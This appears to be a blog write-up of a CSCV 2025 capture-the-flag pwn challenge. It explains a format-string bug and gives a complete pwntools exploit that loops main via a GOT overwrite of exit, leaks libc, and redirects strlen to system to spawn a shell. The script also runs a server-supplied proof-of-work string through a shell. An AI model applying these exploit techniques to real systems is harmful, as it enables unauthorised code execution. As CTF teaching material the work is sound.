Skip to main content

Command Palette

Search for a command to run...

Write Up CSCV 2025

Updated
3 min readView as Markdown
Write Up CSCV 2025

PWN Write Up RacehorseS CSCV 2025

Author: niddalA Ngày: 2025-10-21 Tools: pwntools, gdb, IDE

First we need to extract the horse_say.zip file with the password 'CSCV2025' provided by the author. Next we need to check the challenge file.PWNHS1jpg

We see it is a 64-bit ELF file, Partial RELRO, and NO PIE!!!

Detect system vulnerabilities

After using the IDE to be able to see the code executing the program, we found the format string error here:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  // ...
  if ( fgets(s, 1024, stdin) )
  {
    // ...
    printf(s);                                  // format-string here
    // ...
    exit(0);
  }
  return 0;
}

Solution direction

Here the program has a format-string error but the program only allows one input, the program executes the command 'printf' and then 'exit' but to exploit the error from the program we need both read primitive to leak the address and write primitive to be able to get the shell. To be able to do that we need to somehow create a loop for the main function to trigger more format string errors instead of letting them end.

Previously, we saw that ELF files do not have PIE. This is very important because the addresses of main and GOT functions are fixed. Next, the file only has Partical RELRO. This allows the GOT address to be overwritten. Choosing to overwrite the GOT address is optimal in this challenge.

So what do we need to do now? In the first 'printf', we use format-string to be able to overwrite the address of the GOT cell of the 'exit' function to the address of the 'main' function, but here I think we should overwrite the GOT address of the 'exit' function to the address of the 'fget' function to avoid confusion and be able to immediately execute the next format-string error. Another extremely important thing is that our memory area 's' is not cleared after each run.

PoC

After running format-string infinite times we now have all the libc base addresses of the files.Finally, just overwrite the address of the strlen() function to the address of the system() function in GOT then for s = "/bin/sh", system("\bin\sh") will run and we have the flag.

from pwn import *

exe = ELF("./horse_say_patched")
context.terminal = ["tmux", "splitw", "-h"]
context.binary = exe

gdbscript = '''
b *0x40145A
'''
def conn():
    if args.LOCAL:
        # r = gdb.debug([exe.path], gdbscript)
        r = process([exe.path])
    else:
        r = remote("pwn1.cscv.vn", 6789)
        r.recvuntil(b'proof of work: ')
        proof = r.recvline().strip().decode()
        log.info(f"Proof: {proof}") 
        try:
            solution_bytes = subprocess.check_output(proof, shell=True)
            solution = solution_bytes.strip().decode()
            log.success(f"PoW Solution: {solution}")
            r.sendlineafter(b'solution: ', solution.encode())
            
        except subprocess.CalledProcessError as e:
            log.error(f"Failed to solve PoW. Command failed with error: {e}")
            r.close()
            return None 
    return r


def main():
    r = conn()

    # good luck pwning :)

    # loop back to main
    payload = b"%p%p%p%p.%p.%p%p%p%p%4727p.%p.%p.%p.%p.%p%p%p%hn" + p64(exe.got["exit"]) 
    r.sendlineafter(b'Say something: ', payload)
    r.wait(0.5)
    r.recvuntil(b'                ||     ||\n\n')

    # leak
    payload = b"%144$p"
    r.sendline(payload)
    r.recvuntil(b'< ')
    leak = r.recvuntil(b' >', drop=True)
    log.info(leak)
    leak = int(leak, 16)
    system = leak + 0x2e586
    log.info(f"system: {hex(system)}")
    libc_base = leak - 0x2a1ca
    log.info(f"libc base: {hex(libc_base)}")
    r.recvuntil(b'                ||     ||\n\n')

    # store strlen address in stack for later use
    payload = b'a'*8*10 + p64(exe.got["strlen"]) +  p64(exe.got["strlen"] +2) 
    r.sendline(payload)
    r.recvuntil(b'                ||     ||\n\n')

    # overwrite strlen GOT to system
    payload = f"%{system & 0xffff}c%25$hn" + f"%{((system >> 16) & 0xff) + 0x100 - (system & 0xff)}c%26$hhn"
    r.sendline(payload.encode())
    r.recvuntil(b'                ||     ||\n\n')

    # system("/bin/sh")
    payload = b"/bin/sh\x00"
    r.sendline(payload)
    
    r.interactive()


if __name__ == "__main__":
    main()